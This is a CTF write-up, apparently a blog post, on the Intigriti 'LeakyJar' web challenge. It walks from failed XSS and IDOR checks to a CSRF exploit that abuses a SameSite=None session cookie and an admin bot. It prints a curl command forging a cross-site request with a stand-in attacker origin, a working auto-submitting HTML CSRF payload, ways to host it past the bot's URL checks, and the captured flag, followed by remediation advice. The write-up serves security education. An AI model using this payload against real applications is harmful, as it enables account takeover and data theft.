June 30, 2026
# A 4-Line HTML File Stole the Admin’s Secret — Intigriti LeakyJar CTF Writeup
**Platform:** Intigriti | **Challenge:** LeakyJar (June 2026 Bonus) | **Bug class:** CSRF | **Status:** Accepted ✅

By BlackOuT
5 min read
— -
The challenge gave me a "cookie recipe" web app and one goal: read the Master Baker's private recipe box. The flag was inside it.
No credentials. No hints. Just the app.
Here's exactly how I got it — including every dead end.
— -
## The App
LeakyJar is a multi-page Flask app where users store private recipes in a "vault" and optionally share them with other registered users.
The routes that mattered:
| Route | What it does |
| — -| — -|
| POST /vault/add | Add a private recipe to your own box |
| POST /share | Share your box with another user by username |
| GET /vault/<uuid> | Read a box that's been shared with you |
| POST /submit | Submit a URL — the "Master Baker" (admin bot) will visit it |
The robots.txt listed /admin, /backup, /api/v1/, /.git/ — all returned 404. Decoys. Noted, moved on.
The admin's baker profile said: "keeper of the jar's most guarded recipes… shares the secret ones with no one."
That's the target. The admin has the flag and shares it with nobody. My job was to change that.
— -
## The Hunt — And Every Dead End
My first assumption was XSS. A "report a URL" feature that makes an admin bot visit a link is a classic XSS-to-cookie-theft setup.
I spent time mapping every user-controlled input that gets reflected:
-
Recipe name and notes → Jinja autoescaping ON. Every
<script>injected by other players was sitting there inert. -
Search
?q=parameter → escaped in both attribute and text context. -
Vault view (owner) → escaped.
-
Vault view (shared,
/vault/<uuid>) → escaped. -
Baker username in page titles → escaped.
Every sink. Properly escaped. No reflected XSS, no stored XSS, no DOM XSS.
Template injection was out too — {{7*7}} from other players was inert in every field I checked.
I ruled out IDOR next. /vault/<uuid> gave me "This recipe box hasn't been shared with you" for any unshared UUID I tried. The UUIDs were v4 — unguessable. Access control was actually correct.
SQL injection wasn't a realistic target on a Flask + Jinja app without an obvious SQL error surface.
So: no XSS, no IDOR, no SQLi. The vulnerability wasn't any of those.
I stepped back and read the app like an attacker, not a checklist runner.
— -
## The Moment It Clicked
Three facts, read together:
Fact 1 — The /vault page contains a share form:
<form method="POST" action="/share">
<input name="username">
</form>
<form method="POST" action="/share">
<input name="username">
</form>
No hidden fields. No token. Just a username.
Fact 2 — I captured a login response and looked at the cookie:
Set-Cookie: session=…; Secure; HttpOnly; Path=/; SameSite=None
Set-Cookie: session=…; Secure; HttpOnly; Path=/; SameSite=None
SameSite=None.
That means this cookie is sent on cross-site requests. A form on evil.com that POSTs to leakyjar.intigriti.io/share will carry the victim's session.
Fact 3 — /submit makes the admin bot visit any https:// URL you give it.
The chain assembled itself:
If I host a page that auto-submits
POST /sharewith my username, and the admin bot opens it — the admin's own browser fires that POST with the admin'sSameSite=Nonesession. The admin unknowingly shares their private box with me.
This is textbook CSRF. But the SameSite=None cookie is what makes it work in 2026 — most modern bugs like this are killed by SameSite=Lax defaults. This one wasn't.
— -
## Verifying Before Hosting
Before touching any public URL, I verified the vulnerability locally with two self-registered accounts.
# Register victim and attacker accounts, log in as victim, capture session cookie
# Then forge a cross-site POST:
curl -b <victim-session-cookie> \
-X POST [https://leakyjar.intigriti.io/share](https://leakyjar.intigriti.io/share) \
-H "Origin: https://evil.attacker.example" \
— data-urlencode "username=<attacker>"
# → HTTP 302. Share recorded. No token check. No Origin check.
# Register victim and attacker accounts, log in as victim, capture session cookie
# Then forge a cross-site POST:
curl -b <victim-session-cookie> \
-X POST [https://leakyjar.intigriti.io/share](https://leakyjar.intigriti.io/share) \
-H "Origin: https://evil.attacker.example" \
— data-urlencode "username=<attacker>"
# → HTTP 302. Share recorded. No token check. No Origin check.
Then logged in as the attacker: victim's private box was sitting in "Shared with you."
Two things confirmed:
-
No CSRF token, no Origin/Referer validation — the server accepts forged cross-site requests.
-
The
SameSite=Nonecookie is sent on cross-site POSTs — I confirmed this by checking whatcurl -b <cookie>with an evilOriginheader actually does (it simulates what a browser sends when a cross-site form fires).
Vulnerability confirmed. Now I needed to trigger it with the admin's session.
— -
## The Payload
4 lines of HTML:
<!doctype html>
<html><body>
<form id="f" action="https://leakyjar.intigriti.io/share" method="POST">
<input type="hidden" name="username" value="black0ut_poc">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
<!doctype html>
<html><body>
<form id="f" action="https://leakyjar.intigriti.io/share" method="POST">
<input type="hidden" name="username" value="black0ut_poc">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
When any browser opens this page, the form fires automatically. The victim's browser attaches their session cookie to the POST (because SameSite=None). No clicks required. No JavaScript interaction required from the victim.
— -
## Hosting — The Fiddly Part
/submit only accepts https:// URLs. It rejects http://, data://, file://. And the admin bot runs headless Chrome — it can't reach localhost.
I needed a public HTTPS page that renders HTML and executes JavaScript. Some things that didn't work:
-
raw.githack.com— Cloudflare-fronted, the bot hit a challenge page. -
jsDelivr— serves.htmlastext/plain, browser won't execute the script. -
GitHub Pages — wouldn't deploy quickly enough (token scope issue).
What worked: htmlpreview.github.io
Push payload.html to a public GitHub repo, then submit:
[https://htmlpreview.github.io/?https://raw.githubusercontent.com/black0ut_poc/lj-poc/main/index.html](https://htmlpreview.github.io/?https://raw.githubusercontent.com/black0ut_poc/lj-poc/main/index.html)
[https://htmlpreview.github.io/?https://raw.githubusercontent.com/black0ut_poc/lj-poc/main/index.html](https://htmlpreview.github.io/?https://raw.githubusercontent.com/black0ut_poc/lj-poc/main/index.html)
This service renders the raw HTML file in a github.io context — no bot challenge, script executes, form fires.
I submitted the URL to /submit. Within about 10 seconds, I refreshed my vault.
— -
## The Flag
Shared with you
→ admin's recipe box → View
Shared with you
→ admin's recipe box → View
Clicked through. Read the flag:
INTIGRITI{019ef404–1e44–7748-bdcf-ca7b12dbfee0}
INTIGRITI{019ef404–1e44–7748-bdcf-ca7b12dbfee0}
— -
## The Full Attack Chain
1. Register attacker account (black0ut_poc)
2. Build CSRF payload — auto-submits POST /share with username=black0ut_poc
3. Push payload.html to public GitHub repo
4. Submit htmlpreview URL to /submit
5. Admin bot opens URL
└─ Bot's browser fires POST /share
└─ Admin's SameSite=None cookie is attached
└─ Server records: admin's box is now shared with black0ut_poc
6. Log in as black0ut_poc
7. /vault → "Shared with you" → admin's recipe box → flag
1. Register attacker account (black0ut_poc)
2. Build CSRF payload — auto-submits POST /share with username=black0ut_poc
3. Push payload.html to public GitHub repo
4. Submit htmlpreview URL to /submit
5. Admin bot opens URL
└─ Bot's browser fires POST /share
└─ Admin's SameSite=None cookie is attached
└─ Server records: admin's box is now shared with black0ut_poc
6. Log in as black0ut_poc
7. /vault → "Shared with you" → admin's recipe box → flag
No user interaction. No XSS. No IDOR. One state-changing request with no protection.
— -
## Why This Works in 2026
Browsers shipped SameSite=Lax as the default cookie behavior in Chrome 80 (2020). That change killed most CSRF attacks — a cross-site form POST no longer carries the victim's cookie unless the server explicitly opts out.
SameSite=None is that explicit opt-out. It was designed for legitimate cross-site use cases (embedded iframes, third-party auth widgets). Here, it was set on the session cookie without any CSRF protection to compensate.
The trio that makes this possible:
| Missing | What it would have stopped |
| — -| — -|
| CSRF token on /share | Server rejects the forged request — no token to forge |
| SameSite=Lax cookie | Browser doesn't send cookie on cross-site POST navigation |
| Origin/Referer validation | Server sees evil.example and rejects |
Any one of these breaks the chain. None were in place.
— -
## Remediation
Minimum fix (pick at least two):
-
Anti-CSRF token — generate a per-session, unpredictable token, include it in the form, validate server-side. Standard pattern; Flask has
flask-wtffor this. -
SameSite=Lax— change the session cookie. This is the single highest-leverage fix: the browser stops sending the cookie on cross-site POSTs, breaking every CSRF attack against this app with no code changes beyond the cookie flags. -
Origin/Referer validation — on state-changing POST requests, verify the
Origin(orReferer) header matches the expected domain. Reject mismatches.
— -
## Key Takeaway
SameSite=None on a session cookie + a missing CSRF token + any "report a URL" bot feature = one-click data exfil from the highest-privilege account on the platform.
This isn't just a CTF pattern. I've seen SameSite=None set in production apps — usually because the developer needed cross-site cookie behavior for a specific feature and applied it globally to the session cookie without thinking through the CSRF implications.
When you see SameSite=None in a bug bounty scope, check every state-changing endpoint for CSRF tokens. If the app also has any feature that makes an authenticated user (or bot) visit a URL you control — that's your chain.
— -
## Proof of Work
-
Full writeup + Python end-to-end exploit script: github.com/BlackOuTv2/blackout-writeups
-
Submission reference:
INTIGRITI-FOC1KAC4 -
Challenge by ProxyNomadd for Intigriti
— -
Find me here:
— -
Tags: CTF, Web Security, CSRF, Bug Bounty, Intigriti, OWASP, Ethical Hacking, AppSec